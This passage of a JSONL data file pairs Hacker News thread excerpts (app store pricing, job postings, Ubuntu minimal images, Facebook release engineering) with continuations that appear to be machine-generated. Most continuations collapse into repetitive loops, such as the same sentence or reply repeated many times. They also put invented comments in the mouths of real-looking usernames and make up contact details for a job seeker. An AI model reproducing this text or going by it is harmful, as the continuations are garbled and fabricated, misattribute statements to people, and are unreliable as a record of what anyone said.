onerous, with the result that any Rust code\nthat calls the wrapper functions won't ever have to bothered with remembering\nthe annotations.\n\n~~~\nportmanteaufu\nMakes sense, thanks! As an outsider it can be tricky to know which things in\nthe release notes are \"This feature is ready\" vs \"This is simply the present\nstate of things.\"\n\n~~~\nsteveklabnik\nRust is basically entirely 'this is simply the present state of things.' :)\n\n~~~\nchrismorgan\nPlus there's also rather a lot of non-codified knowledge about what's\nhappening and going to happen. But if you pay"} +{"output_text": " saying so.\n\n------\njoshu\nI think the author is missing the point.\n\nThe problem is that the app store is a monopoly.\n\nThe app store is a monopoly because it is the only way to get apps.\n\nThe app store is a monopoly because it is the only way to get apps.\n\nThe app store is a monopoly because it is the only way to get apps.\n\nThe app store is a monopoly because it is the only", "input_text": " seem to suggest otherwise.\n\n------\nprpatel\nThere's one thing that everyone has missed so far, and I've said it to anyone\nwho will listen: free apps are undermining both the app store(s) and the\ndeveloper. Before you brush me off as crazy, please think it through...\n\n~~~\ndrbarnard\nI started to reply to your comment and ended up writing a whole blog post in\nagreement: \n\n------\njemeshsu\nApp programmers are turning into like recording artists, where tunes are at\n99cents a pop. The only way to survive then is to have hit app, like in hit\nsongs. Maybe there will be a billboard type of chart for apps soon.\n\n~~~\nrogerchucker\nIf you wanna stick to that analogy, what would be the equivalent of a \"live\nconcert\" in the app world?\n\n------\nNameNickHN\nIt has nothing to do with pricing in itself and all with competition. Look at\nthe gps navigation software. They cost more than the average app. Obviously\nbecause there is no real or very little competition in that area.\n\n~~~\ngeon\nMap databases are very expensive. You can't just use Google Maps for\nnavigation, because of the licensing.\n\n------\ndrbarnard\nI just finished a followup post, since the one originally linked is over 2\nyears old.\n\n\n\n------\ngcanyon\nEveryone realizes this article is from 2009, right?\n\n------\nhuhtenberg\nThat's a very well designed blog if you don't mind me"} +{"output_text": "and-openstack-why-\ni-left-them-and-what-about-them/\n\n------\njasonkester\nI've been looking around, but all the intro SVN docs I've found seem to give a\nbrief single paragraph intro to SCC before diving into either how to set up a\nrepository, or \"why CVS sucks and SVN is awesome.\" Can anybody recommend\nanything good?\n\n~~~\njasonkester\nI've", "input_text": "As for just using a single EC2 instance and RDS... that is something you can\ndo, but not everyone's workload is so simple that they can run it on one\nmachine. And not everyone can afford do be down simply because one AZ is down.\nHence, multi-AZ VPC setups.\n\n \n\nAsk HN: Good introductory article on source control - jasonkester\n\nI've recently joined a new project owned by a developer who has never used source control. I've suggested moving the project onto Subversion, but am starting to get the first signs of pushback.

I think we're still at the \"what's in it for me\" stage here, and I'm pretty sure that I'd blunder any attempt at direct advocacy, so I'd rather simply forward a URL that lays out the case for using version control and let this developer reach his own conclusions.

I've been looking around, but all the intro SVN docs I've found seem to give a brief single paragraph intro to SCC before diving into either how to set up a repository, or \"why CVS sucks and SVN is awesome.\" Can anybody recommend anything good?

(I'll send across the Joel Test in due time, but I think we might need to do some softening up first...)\n======\nananthrk\nSeries of articles written by Eric Sink\n\n\nHe is also currently working a book on the same topic. A lot of his recent\narticles are about his experiments with various version control systems and\nare worth a look.\n\n \n\nWhy I Left Rackspace and What About OpenStack - garethr\nhttp://dendrobates.wordpress.com/2011/03/22/rackspace-"} +{"output_text": " that!\n\nInstead, please apply at\n[https://www.gatecoin.io/careers](https://www.gatecoin.io/careers) and we'll\nget back to you.\n\n------\njoshu\nI'm a software engineer at a small startup in SF. We're looking for a senior\nbackend engineer.\n\nWe're building a platform for the financial industry. We're using a lot of\nPython, and we're using a", "input_text": ", Mobile (soonish via Xamarin)\n\nb) QA (using NUnit, canopy, etc)\n\nc) DevOps (using Ansible+Linux+GitLabCI)\n\nd) Hybrid roles of the above\n\nOur production environments are Debian, using technologies such as Redis and\nMySQL.\n\nOur codebase is leaning more and more towards functional programming, in\nparticular F#.\n\nGet in contact to know more at andres at gatecoin dot com, using the subject\n\"Interested in Gatecoin roles\".\n\nWe help with sponsorship/relocation to Hong Kong.\n\nSome nice perks we have:\n\n\\- 10% of \"free to tinker\" time\n\n\\- 10% of remote work time allowed\n\n\\- International (more than 10 nationalities in same office), friendly work\nenvironment\n\nWant to make a difference in the blockchain space? Join like-minded people and\nwork together to bring about the decentralized financial revolution!\n\n~~~\nKrishnaKanhaiya\nHi, I am a master's student pursuing Mathematics & Computer Science at the\nIndian Institute of Technology (IIT) Kharagpur with specialization in\noptimization. I am also a Google Summer of Code, 2016 fellow. I will be\ngraduating in April, 2017. I am interested in the job profile. I am attaching\nthe link to my webpage : [https://ayush-iitkgp.github.io/](https://ayush-\niitkgp.github.io/)\n\nDo revert back if you find me a good fit.\n\n~~~\nStratoscope\nHi Krishna, welcome to \"Who is hiring?\"\n\nJust FYI, applying directly here in the thread isn't how it's done. Imagine if\neveryone did"} +{"output_text": ", but I think the problem is that Wall Street is not a market.\n\n~~~\nchasingsparks\nI agree.\n\n------\njoshu\nI think the problem is that the people who are making the money are not\nactually the people who are making the decisions.\n\n------\njoshu\nI think the problem is that the people who are making the money are not\nactually the people who are making the decisions.\n\n------\njosh", "input_text": " forfeiture of their soul. Is it\n100% rational or true? No, as he adroitly pointed out. But it is strategic and\naccretive to the startup ecosystem for us to talk such shit. It is marketing\nin its most pure and basic form.\n\n------\nubernostrum\nLet's make a deal: I'll stop shitting on them when they stop shitting on me.\n\n------\nchasingsparks\nThanks for writing this; it's been bothering me for sometime now.\n\nCommonly, the arguments are Wall Street \"doesn't create value,\" \"merely moves\nmoney from A to B,\" or \"just exists to extract wealth.\" Wall Street produces\npricing information. Wall Street produces this pricing information by moving\nmoney in markets from A to B, and extracting _some_ money as payment. All\nbusinesses exist to extract money from somewhere!\n\nGood pricing information is extremely valuable. Bad pricing information is\ndevastating. We just had a crisis caused by bad pricing information that had\nmultiple origins, including Wall Street. However, the majority of the\ninformation produced by Wall Street is still good.\n\nWall Street gets the brunt of the animosity because Wall Streeters make a lot\nof money. Furthermore, there is a severe asymmetry between positive and\nnegative perceptions. When markets are well-functioning, their success is\neasily obscured; When markets are poorly functioning, their failure is center-\nstage.\n\nBefore someone accuses me of conflating Wall Street with markets in general, I\nwould like to counter that Wall Streeters are the maintenance men of markets.\nSome of those out-sized returns on short-term trading operations help pay for\nthe fundamental research that helps produce good pricing information.\n\n~~~\ndasil003\nYou're right"} +{"output_text": "\nmlevental\nalso, i'm not sure why the paper is so long. it's not like it's a novel\nresult.\n\n~~~\nmlevental\nalso, i'm not sure why the paper is so long. it's not like it's a novel\nresult.\n\n------\nmlevental\ni'm not sure why the paper is so long. it's not like it's a novel result.\n\n~~~\nmlevent", "input_text": " the results with the circuit in Fig. 2._\n\n\" _Using the simulator, this circuit produces the correct answer x = (1, 1)\nevery time. We executed 1,024 shots using the ibmqx4 and x = (1, 1) was\nobtained 662 times with (0, 0), (0, 1), and (1, 0) occurring 119, 101,\nand 142 times respectively. This indicates that the probability of obtaining\nthe correct answer is approximately 65%. The deviation between the simulator\nand the quantum computer is apparently due to the depth of the circuit\ncombined with the approximate nature of the quantum computer. We note that our\nfirst implementation of this algorithm which used a Toffoli gate with a depth\nof 23 (compared to a depth of 13 here) obtained the correct answer 48% of the\ntime._ \"\n\n\" _We designed a circuit that implements an instance of Grover\u2019s algorithm for\nan IBM 5-qubit quantum computer. The outcome was successful in the sense that\nthe quantum computer successfully completed the search with a probability that\nis appreciably greater than 50%. However, the 65% success rate that was\nobtained is much lower than the 100% that is obtained by the simulator. Deeper\nand more complex oracles would likely produce less satisfactory results, and\nthis is in line with our experience implementing the oracle with a deeper\nimplementation of the Toffoli gate._ \"\n\nI'm still not sure how measurement of quantum computing results works, and\nthis isn't helping.\n\n------\nmlevental\nthis isn't related to the paper's content but why in the world are there so\nmany authors? i mean if it were an experimental paper i wouldn't be surprised\nbut this is theory (or at the least exposition).\n\n~~~"} +{"output_text": "#, .NET, SQL Server, Azure, AWS, Linux, Docker, Kubernetes,\nAWS, Azure, Linux, Docker, Kubernetes, AWS, Azure, Linux, Docker, Kubernetes\n\nR\u00e9sum\u00e9/CV: [https://jsta2020.github.io](https://jsta2020.github.io)\n\nEmail: jonathan.sta2020@gmail.com\n\n------\njoshmanders\nLocation: Dubuque, Iowa, USA", "input_text": "com/in/camilogiraldo91/\n\nEmail: camilogiraldo91@gmail.com\n\n------\nvouhardy\nLocation: London\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Audio technologies such as JUCE, AudioKit. Swift, JS, Python,\nC/C++, RabbitMQ, AWS\n\nEmail: can@ince.io\n\nR\u00e9sum\u00e9: email me for a copy or see ince.io\n\n7 years in tech, have done big media projects and built big scale stacks,\ninterested in early-stage startups solving interesting problems\n\n------\nthoughtpalette\nSenior Front-End Engineer, Architect Nine years of client side development\nexperience\n\nLocation: Chicago IL\n\nRemote: Preferred\n\nWilling to relocate: No\n\nTechnologies: JS, TS, CSS, HTML, SPAs, Angular, etc\n\nResume: By Request\n\nEmail: ${hnUserName}chris@gmail.com\n\nSite: [https://thoughtpalette.com](https://thoughtpalette.com)\n\n------\njoshmanders\nLocation: Dubuque, Iowa, USA\n\nRemote: Required, but willing to travel periodically.\n\nWilling to relocate: Can't due to responsibilities.\n\nTechnologies: Node.js, React, React-Native, GraphQL, Vue, TypeScript,\nPostgreSQL, Docker, Microservices, Kubernetes.\n\nR\u00e9sum\u00e9/CV: Available upon request.\n\nEmail: josh@joshmanders.com\n\n------\njsta2020\nLocation: San Francisco\n\nRemote: Yes, flexible\n\nWilling to relocate: No\n\nTechnologies: C"} +{"output_text": ")\n\n~~~\nbdcravens\nI'm not sure that's a fair comparison. Chelsea was sentenced under the\nadministration of a Republican president.\n\n~~~\nmarcoperaza\nI'm not sure that's a fair comparison. Chelsea was sentenced under the\nadministration of a Republican president.\n\n~~~\nbdcravens\nI'm not sure that's a fair comparison. Chelsea was sentenced under the\nadministration of a Republican president.\n\n~~~\nmarc", "input_text": " elected it would've been business as usual, everyone would've gone\nback to their bread and circuses. Not now though.\n\nRegardless of what you think of Clinton Trump was a far worse alternative on\nevery measure. Trump will be able to dramatically change the supreme court and\nUS federal legislation as well. Complaining about Clinton/Obama doesn't change\nthe simple fact that he is far to the right on her on almost every issue.\n\n>>Sidenote: Trump has already swung moderate, deciding to stick with NATO [2]\nand keeping most of the ACA after speaking with Obama [3]. Maybe he doesn't\nstick to those ideals, but its clear Trump the president may not be as bad as\nTrump the person. I have hope, but I had hope for Sanders as well. (Excitingly\nenough, the /r/SandersForPresident subreddit was reactived today, with ~210k\nactive subscribers).\n\nTrump _CANT_ keep most of ACA even if he wanted to keep the _good parts._ The\nexpansion of coverage is paid and supported by the entirety of the law, it\ndoesn't work without all the provisions.\n\n------\nbdcravens\nChelsea was sentenced in 2013, well under the influence of the Obama\nadministration. (Ditto for the leaks, in 2010) Typically the presidential\npardons we see are the last minute stamp of ideology, not undoing of their\nlegacy.\n\n~~~\nmarcoperaza\nOr if you're Bill Clinton, some last minute corruption. See\n[https://en.wikipedia.org/wiki/Bill_Clinton_pardon_controvers...](https://en.wikipedia.org/wiki/Bill_Clinton_pardon_controversy#Pardons_and_commutations"} +{"output_text": ": And its back to a screeching halt at 3:43 PM.\n\nEdit 4: And its back to a screeching halt at 3:44 PM.\n\nEdit 5: And its back to a screeching halt at 3:45 PM.\n\nEdit 6: And its back to a screeching halt at 3:46 PM.\n\nEdit 7: And its back to a screeching halt at 3:47 PM.\n\nEdit 8: And its back to", "input_text": "\ntrap.\n\nEdit: see previous discussion on this here:\n\n\n~~~\nCyranix\nI might cut them a bit more slack if the image to the CTA wasn't for\n\"Typography Crash Course\"!\n\nThanks for the reminder on Constrast Rebellion.\n\n------\nhappywolf\nIn case anybody is not aware, TreeHouse has a lot of design courses available\nfor free.\n\n\n\nI am in Singapore and as like other people here, has hit a pay-wall. The issue\nis at the landing page, it says: \"Receive a design course in your inbox each\nweek\" which gives me an impression these courses are free. I understand good\nthings usually aren't free, but not saying it up front until I gave my email\naddress is something that I don't like. Therefore, I am not going back\n\n------\nrvkennedy\nI'd feel happier going along with this is the commercial relationship between\nhackdesign.org and the makers of the Objectified documentary was upfront and\nclear before sign-up for a putatively free course. There's nothing wrong with\nmaking money this way (if they are, I can't tell). But tell us, before asking\nfor email addresses: what it actually costs, and whether (in your country) you\ncan even get the required content.\n\n------\nwasd\n\"Application Offline for Maintenance\" at 3:40 PM PST.\n\nEdit 1: And at 3:41 PM its up. Spoke too soon.\n\nEdit 2: And its back to a screeching halt at 3:42 PM.\n\nEdit 3"} +{"output_text": " want something cheap\n\n~~~\ncjhanks\nI agree with you. I think the reason Google is pushing this is because they\nare trying to get more developers to build for Android.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a good\nthing.\n\nI'm not sure if I'm missing something, but I don't see how this is a good\nthing.\n\nI'm not", "input_text": " Windows Mobile has already solved this problem: All\nWindows 10 devices receive OS updates directly from Microsoft servers, as a\nrequirement of using the platform. (Even in 8.1, if you were on Developer\nPreview, you got updates straight from Microsoft, apart from carrier/OEM\nchannels.) Drivers/firmware are pushed separately.\n\nThis appears to be where Google is perhaps finally heading. Once Treble is out\nthere, Google will change their contract terms to mandate control over OS\nupdates for all devices which license the Play Store.\n\n~~~\nbitmapbrother\nNo Windows mobile has not solved that problem. Any updates involving firmware\nare still controlled by the carriers. It's a rather moot point as windows\nphone is dead anyway.\n\n>The new process still does not provide firmware updates, as far as we know,\nso carriers and their bottlenecks will still be involved in upgrading phones.\n\n------\ndmitrygr\nThis removes one of the main excuses various vendors use for not providing\nAndroid updates. I truly hope this works in helping users always be up to\ndate.\n\n------\ncjhanks\nIt is my opinion that Google does not view Android as simply \"an operating\nsystem for phones\". Android has tremendous application in IoT devices and\nappliances. The lifecycle of many applications is quite a bit longer than the\ncell phone.\n\nAs we see an increase in the diversity of applications using Android, this\nupgrade path will be very important. Just wait until you see your first ATM or\nPOS system \"Powered By Android \u00a9\".\n\n~~~\nswiley\nThe only two reasons people put up with android on phones are\n\n1) it's the only choice if you want something small with a cell modem\n\n2) it's the only choice if you"} +{"output_text": " different from what we know here. Imagine that the\nMars life is completely different from what we know here.\n\nImagine that the Mars life is completely different from what we know here.\n\nImagine that the Mars life is completely different from what we know here.\n\nImagine that the Mars life is completely different from what we know here.\n\nImagine that the Mars life is completely different from what we know here.\n\nImagine that the Mars life is completely different from what we", "input_text": " if living\nindigenous bacteria, or even plant life(!) were found - I think this is the\nmost ambitious scenario now conceivable, the 'Mars mat' of fiction suviving in\ncaves - it likely wouldn't be an argument to stop colonisation, though it\nmight have bearing on arguments about terraforming.\n\n------\ncharleywolters\nI mean that's great news but didn't they announce this like 10 times before?\nIsn't there a meme about this, that NASA announced they found water on Mars\nlike once a year?\n\n~~~\npeter303\nSoem of the times were for ancient water. But they have shown evidence of\nrecent water before too.\n\n------\nTinyyy\nYoutube Live link, works reliably:\n[https://www.youtube.com/watch?v=HDh4uK9PvJU](https://www.youtube.com/watch?v=HDh4uK9PvJU)\n\n~~~\nmkobit\nAnother link/stream/mirror (for those using Ctrl+F) -\n[http://mars.nasa.gov/news/whatsnew/index.cfm?FuseAction=Show...](http://mars.nasa.gov/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1856)\n\n------\nfoota\nDoes anyone else think that the form of life found on Mars would most likely\nbe completely distinct from what is found here, down to the molecular and cell\nlevel?\n\n~~~\nmangeletti\nOther than the possibility that the origins of life and potential life on Mars\nare the same, I think the same thing as you.\n\nImagine it is completely"} +{"output_text": "matt_the_bass\nI\u2019m not sure I agree with this. I think it\u2019s a good idea to encourage people\nto buy less stuff. But I don\u2019t think it\u2019s a good idea to tax people for\nbuying less stuff.\n\n~~~\nmatt_the_bass\nI\u2019m not sure I agree with this. I think it\u2019s a good idea to encourage people\nto buy less stuff. But I don\u2019", "input_text": " a feather. Where is the previous\narticle about how that level of tax is crazy to begin with?\n\n------\niamgopal\nI think ideal way is to charge people for dumping the waste, and use that\nmoney to properly recycle all the material therein. May not be ideal in terms\nof energy efficiency, but its highly workable solution.\n\n------\nrumcajz\nAlternative approach: Require people keep everything they buy for 10 years.\nThey'll be quickly fed up with their houses full of old broken gadgets,\ncardboard boxes and used wrapping foil.\n\n------\nmacandcheese\n\"Own few but good things\" \\- love everything about this as it relates to\nliving \"modestly minimal\" as I call it. Buy a small amount of high quality\npossessions, and take care of them.\n\n------\ntitzer\nWouldn't a high sales tax promote exactly that?\n\n~~~\neveningcoffee\nSales tax also applies to the services.\n\nMore over, as labor is highly taxed in Sweden, it makes local repairing\ndisproportionally more expensive compared to the manufacturing in a country\nwith smaller labor costs.\n\n~~~\ncharlesdm\n> More over, as labor is highly taxed in Sweden, it makes local repairing\n> disproportionally more expensive compared to the manufacturing in a country\n> with smaller labor costs.\n\nSounds like a very clear flaw in their economic and taxation model.\n\n~~~\neveningcoffee\nThis flaw is called free trade. This problem used to be fixed by higher\ncustoms. But we generally prefer free trade, so they have to try other\ninitiatives.\n\n------\nDowwie\nI guess they'd need to explicitly de-classify commonly repaired items from\nthis?\n\n------\n"} +{"output_text": ".bbc.co.uk/programmes/b01j2qyw\n\n------\njamesjporter\nI'm not sure I agree with the author's conclusion that the \"web\" is the\n\"platform\" for mobile devices. I think the web is the platform for the web.\n\nI think the author is right that the web is the platform for mobile devices,\nbut I think the author is wrong that the web is the platform for mobile\ndevices", "input_text": " a great article on the decay of Palm once HP bought it.\n\n[http://www.theverge.com/2012/6/5/3062611/palm-webos-hp-\ninsid...](http://www.theverge.com/2012/6/5/3062611/palm-webos-hp-inside-story-\npre-postmortem)\n\nSo, coming back to the point of contrast with Firefox OS, one has to\nacknowledge that Mozilla is pushing Firefox OS very hard. There is a dedicated\napp store which has more than a thousand apps now. Mozilla also has a\npassionate community behind it.\n\n \n\nFoam cap on beer is actually good - unlearned what I learned in college - jingsong\nhttp://www.stltoday.com/stltoday/lifestyle/columnists.nsf/adamjadhav/story/3F32B9542B478F90862575D600649043?OpenDocument\n\n======\nJimmyL\n>> we filled our red plastic cups to the brim with Bud or Miller Lite or\nIcehouse...\n\nI would say that if that's the caliber of beer you're drinking - which makes\nup a significant portion of most people's college beer - then screw the head,\nand just fill that red cup up all the way. No one drinks Icehouse or Bud for\nthe flavor; they drink it to get drunk. You could pour some Bud perfectly into\na freshly cleaned glass, and it would still taste bad.\n\nOnce you've moved on to better-quality beer, then yes - bring on the head.\n\n \n\nRadio 4 Interview with Adrian Bowyer, RepRap inventor (at ~20:00) - timthorn\nhttp://www"} +{"output_text": " the first release to use the letters.\n\n------\njosteink\nI'm not sure if I'm missing something, but why is this even a thing?\n\nWhy not just use the Ubuntu Server image?\n\n~~~\nkuschku\nBecause the Ubuntu Server image is not a minimal image.\n\nIt\u2019s a full Ubuntu Server image, with all the packages installed.\n\nThe Ubuntu Minimal Image is a minimal image, with only the packages that are", "input_text": "-integer-datetimes --enable-thread-safety --enable-tap-tests --enable-\ndebug --disable-rpath --with-uuid=e2fs --with-gssapi --with-ldap --with-\nselinux\n\nSpecifically the differences in enabling ICU (portable collations) and nls\n(i.e. translations) alone are probably going to be the majority of difference\nin installed size.\n\n------\nsegmondy\nDid most of you read the article? I see folks suggesting what can be removed.\nThey can't do that.\n\n\"The Ubuntu Minimal Image is the smallest base upon which a user can apt\ninstall any package in the Ubuntu archive.\"\n\n~~~\nkstenerud\nFrom the article:\n\n\"Do you see any other opportunities for savings? Can you help us crop the\nBionic Beaver images any further? Is there something that we've culled, that\nyou see as problematic? We're interested in your feedback\"\n\n~~~\nbraindongle\n\"Crop the beaver\"? Seriously? It also says \"Shave the beaver\"! Is it me? Is\nthis thinly veiled high school innuendo?\n\n~~~\nkuschku\nUbuntu uses animal names as codename for releases.\n\nAfter Artful Aardvark now follows Bionic Beaver.\n\n~~~\nisostatic\nBreezy Badger being already used (before they moved to incrementinf letter\nbased system - having done hoary hedgehog and waryy warthog.\n\nIt wasn't until the first LTS version, dapper drake, that the letters started\nmatching the release number. The second LTS, or 8th release overall - Hardy\nHeron, in April 2008, was"} +{"output_text": "olution.\n\n~~~\nSanddancer\nI agree that the web is not a panacea, but I don't think it's a panacea for\nthe problems you're talking about. The web is a tool, and like any tool, it\ncan be used for good or ill. The web is a tool for the masses, and it's\ncertainly not a tool for the elite.\n\n------\njoshu\nI think the author is missing the point.", "input_text": " in world wide market share, but they still have a\nlot of the wealthy users. There is a non-zero chance they get niched out of\nprominence by Android (aka every other manufacturer in the world), at which\npoint network effects start encouraging Android-first or Android-only\ndevelopment. There might be a point where Apple needs to double down on the\nweb, and/or maybe kill off apps, like they did flash, to still have the latest\n\"apps\".\n\n~~~\nSanddancer\nI take photos miles from where there's cell signal. I write code on the bus\nwhile heading to doctors appointments. The web is about as far from a panacea\nas you can get. It's slow, it's bloated, falls apart when you don't have a\nconnection, useful applications die when the company dies. Were some of the\nmidi devices I use for music \"web-based\" they'd have probably become doorstops\ndecades ago. A web-based IDE would be horrible for trying to develop code with\nan intermittent connection. The web is not a good time.\n\n~~~\nfauigerzigerk\nThe intermittency issues can be fixed but I agree that the dependency on web\napp providers and their fickle business models is scary.\n\nThe way it works is to funnel all the profits into a few huge conglomerates\nthat benefit from exclusive access to all personal data and train users to\nnever depend on anything that isn't a core product of one of these\nconglomerates.\n\nUsing their 80% margins they can afford to at least give us some time before\nscrapping software that doesn't look it's ever going to reach 4bn consumers.\n\nThe result is stability. Until they all get toppled by the next technology\nrev"} +{"output_text": " of the markets. We are looking\nfor software developers to join our team in New York, London, and Hong Kong.\n\nWe are looking for developers with experience in:\n\n* C++\n\n* Python\n\n* C#\n\n* Java\n\n* Scala\n\n* Haskell\n\n* Clojure\n\n* Erlang\n\n* Go\n\n* Rust\n\n* C\n\n* C++\n\n* C#\n\n* Java", "input_text": " jobs page!\n[https://www.noredink.com/jobs](https://www.noredink.com/jobs)\n\n[1] [https://www.noredink.com/about/team](https://www.noredink.com/about/team)\n[2] [http://tech.noredink.com/](http://tech.noredink.com/) [3]\n[https://github.com/NoRedInk/](https://github.com/NoRedInk/) [4]\n[http://tech.noredink.com/post/136615783598/welcome-\nevan](http://tech.noredink.com/post/136615783598/welcome-evan) [5]\n[http://tech.noredink.com/post/145260396603/our-\nengineering-h...](http://tech.noredink.com/post/145260396603/our-engineering-\nhiring-process) [6] [http://tech.noredink.com/post/143787279069/on-boarding-\nas-a-...](http://tech.noredink.com/post/143787279069/on-boarding-as-a-new-\nremote-engineer-think-about)\n\n------\ndanbenjs\nJane Street | Software Developer | New York, London, Hong Kong | ONSITE, FULL-\nTIME, INTERNS, VISA, [http://www.janestreet.com](http://www.janestreet.com)\n\nJane Street is a quantitative trading firm with a focus on technology, a\nscientific approach, and a deep understanding"} +{"output_text": " article is just a long-winded way of\nsaying \"I don't know how to measure either.\"\n\n~~~\njamesbritt\n\"I don't know how to measure either.\"\n\nI think that's the point.\n\n------\njamesbritt\n\"The problem is that the two are so intertwined that it's hard to separate\nthem.\"\n\nI think this is the point.\n\n------\njamesbritt\n\"The", "input_text": " then it's a red herring.\nThe author supplies no evidence that it's a given. As far as I got, the phrase\n'mood disorder' was undefined.\n\n _... But is there any scientific reason to believe in a connection?_\n\nScience doesn't believe, science constructs and improves models based on\nrepeatable observations. That which cannot be observed cannot be modelled.\nPeople can choose to 'believe' those models... which is 'faith'. Which\nscience was invented to get away from.\n\nSo in the first two paragraphs, the author prepares us for the illucid neo-\nphrenology which follows.\n\n~~~\ncarlmr\n>Science doesn't believe, science constructs and improves models based on\nrepeatable observations.\n\nThat's confusing the scientific ideal, with how actual scientists operate.\nActual scientists hope that they get something right, they feel strongly about\ntheir research like the mother of a child, they're just as clouded by emotions\nas any other human being. And if you add corruption into the mix, then yes,\nwhat we call science is not as solid as it looks, but it still provides useful\nresults sometimes.\n\nBut we can still talk about a scientific reason to believe. Because the reason\nmight be scientific, but it still might be something which we can believe or\nnot. Because scientific reasons are about as flawed as their creators.\n\nThe replication problems in many fields are evidence that science is only as\nideal as the people producing it.\n\n------\nmajos\nI don't get this article. As far as I can tell, it wants to prove (in spite of\nthe headline) that mental illness and creativity are not really correlated.\nThen it goes on to say that measuring either mental illness or creativity is\nhard on its own -- in which case the"} +{"output_text": "abbeer\nI've been using this for a while now. It's a great way to see how you're\ninteracting with your friends.\n\n------\njoshschreuder\nI've been using this for a while now. It's a great way to see how you're\ninteracting with your friends.\n\n------\njoshschreuder\nI've been using this for a while now. It's a great way to see how you're\ninteracting with your", "input_text": " is how prominent _xxx_ would appear (representing kisses, I might\nadd). We made a tacit agreement early in our relationship to always add those\nand/or an expression of love at the end of messages and conversations. One of\nthose little things that can get lost in transactional stuff, so I'm glad we\nmade the effort (even if it's now mostly habit, it's still valuable).\n\n~~~\nneduma\n>> We made a tacit agreement early in our relationship to always add those\nand/or an expression of love at the end of messages and conversations.\n\nRight on. Thanks of sharing this tip.\n\n------\nherbps10\nThis is great to see as I've been working on a similar project to try to\nvisualize relationships by looking at the number of texts sent over time.\n\nIf anyone would like help generating similar analyses of their texting data,\nI'd be glad to help as I have some machinery set up to do so!\n\nHere's a prototype site I put together that takes iPhone SMS backups and\ngenerates a graph of how many texts you've sent over time:\n\n[http://herbsusmann.com/relationships/](http://herbsusmann.com/relationships/)\n\n------\njoshschreuder\nI would be interested in trying this out for myself. Any ideas or open source\non extracting the data from phones (specifically the iPhone?).\n\nI think the iPhone may use a SQLite DB for messages?\n\n~~~\nartmageddon\nIt does, and it's totally possible if you haven't encrypted the phone's\nbackups and lost the password* like I did :(\n\n*I swear I didn't put a password on it but for some reason it got one...\n\n------\nc"} +{"output_text": "iler with a new compiler that will be able to\noptimize JavaScript code more effectively._\n\nI'm not sure I'd want to work on that.\n\n _Facebook's internal release process is a bit like a game of telephone.\nDevelopers will often start with a feature, then add a few more features, and\nthen add a few more features, and so on. The result is a feature that is\nactually quite different from the original idea._\n\nI'm not sure", "input_text": "ua\nThanks for the library. Useful. However, I found a blog post cut-off.\n\nHere's the post: \n\n------\ncallmeed\nSent to Kindle!... props to whoever put that together.\n\n------\nrrikhy\nThis is great...thanks for the upload, Chirag!\n\n \nA behind-the-scenes look at Facebook release engineering - 3lit3H4ck3r\nhttp://arstechnica.com/business/news/2012/04/exclusive-a-behind-the-scenes-look-at-facebook-release-engineering.ars?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+arstechnica%2Findex+%28Ars+Technica+-+Featured+Content%29\n======\njoshuahedlund\nSo many gems in this article.\n\n _To help spot problems, Facebook employees who access the social network from\nwithin the company's internal network will always see an experimental build of\nthe site based on the very latest code, including proposed changes that\nhaven't officially been accepted._\n\nProbably the only place where your excuse for checking Facebook at work can be\n\"Looking for bugs!\"\n\n _The many data sources tracked by Facebook's internal monitoring tools even\ninclude tweets about Facebook. That information is displayed in a graph with\nseparate trend lines to show the change in volume of positive and negative\nremarks_\n\nGuess I need to tweet more about how slow their mobile app is getting...\n\n _One of the major ongoing development efforts at Facebook is a project to\nreplace the HipHop transp"} +{"output_text": " the contract?\n\n> and the lack of transparency in the workplace.\n\nThis is a union issue.\n\n> The union has also been critical of the company\u2019s use of contractors,\n\nThis is a union issue.\n\n> and the company\u2019s use of contractors to replace full-time employees.\n\nThis is a union issue.\n\n> The union has also been critical of the company\u2019s use of contractors to\n> replace full-time employees", "input_text": " slash and burn private equity\nfirms.\n\n~~~\nSpicyLemonZest\nThat's a pretty universal viewpoint. Even the most business-friendly people\nwould be skeptical of someone saying that private equity \"warms their heart\",\nor talking about how we need to stop MBA-busting and reverse the \"liberal\nanti-MBA backlash\".\n\n------\npje\nCongratulations!\n\n------\ngodzillabrennus\nSix months from now we will likely be wishing we had union jobs.\n\n------\nColonelSanders\nFor a union, it's concerning when some things are more tailored to the whims,\nedge cases, personal niches of the most vocal, rather than shielding the\ncommon denominator of the cooperative from management's business decisions.\n\nI'd like to explain what I like, and what I'm concerned about:\n\n> Employees at major American tech and game companies have grown increasingly\n> active and outspoken about workplace issues,\n\nVery union related, that's what unions are for.\n\n> including sexual assault and harassment,\n\nAlready unlawful. They are addressable to the NLRB and civil legal system.\n\n> ageism,\n\nThat's vague, but there are protections against this\n\n> unequal pay,\n\nNot sure what this means, pay between workers of the same level of seniority\nperforming the same responsibilities? Overtime? A lot of things factor into\nequal pay. A junior employee isn't going to make as much as a 20 year\nemployee.\n\n> \u201ccrunch time\u201d (i.e. long-term overtime and overworking),\n\nLooks right. These are covered in union contracts\n\n> poor treatment of contract workers,\n\nIf they have union membership? Wouldn't it be about"} +{"output_text": ".\n\n~~~\nropeadopepope\nI think you're right.\n\n------\njedberg\nI'm not sure if this is a good idea or not.\n\nI think it's a good idea for a company that is already successful and has\nalready built a large user base.\n\nBut for a company that is just starting out, I think it's a bad idea.\n\nI think it's a bad idea for a company that is just", "input_text": " pain. Banks seem to specialise in awkward UX and statements that just show\n\"UnknownCo LLC Service\" because they're the parent company of coolthing.com's\nservice. Patreon might be better placed to have a try here.\n\nRight now I'm having this battle with myself as the side-project I'm slowly\nprogressing looks like having a sub might be right. I'm still reluctant. Oh\nthe irony. :)\n\nGood luck with your creations.\n\n------\njakobegger\nOh my god I get a headache just thinking about all the feature flags they'll\nhave to maintain, and all the copywriting to describe each feature, and all\nthe support emails from people asking which features they can use...\n\nWhat are they going to do when a new feature makes another one obsolete? Keep\nboth? What if they fix a bug in the new version, do they also fix it in the\nobsolete version?\n\nThis sounds like a major maintenance chaos a few years down the line. They'll\nneed to keep adding individual features to incentivise frequent re-purchases,\nso they'll end up with hundreds of variations of the app, all depending on\nwhen you bought it...\n\nThinking about this makes me so happy about the pay-once model of my apps, I'm\nso grateful that it works, and that I don't need to squeeze every penny from\nmy customers.\n\n~~~\nropeadopepope\n> Oh my god I get a headache just thinking about all the feature flags they'll\n> have to maintain\n\nWhy not use a plugin model? Feature flags can be hacked.\n\n~~~\ngrok2\nMaking every feature a plugin is hard -- 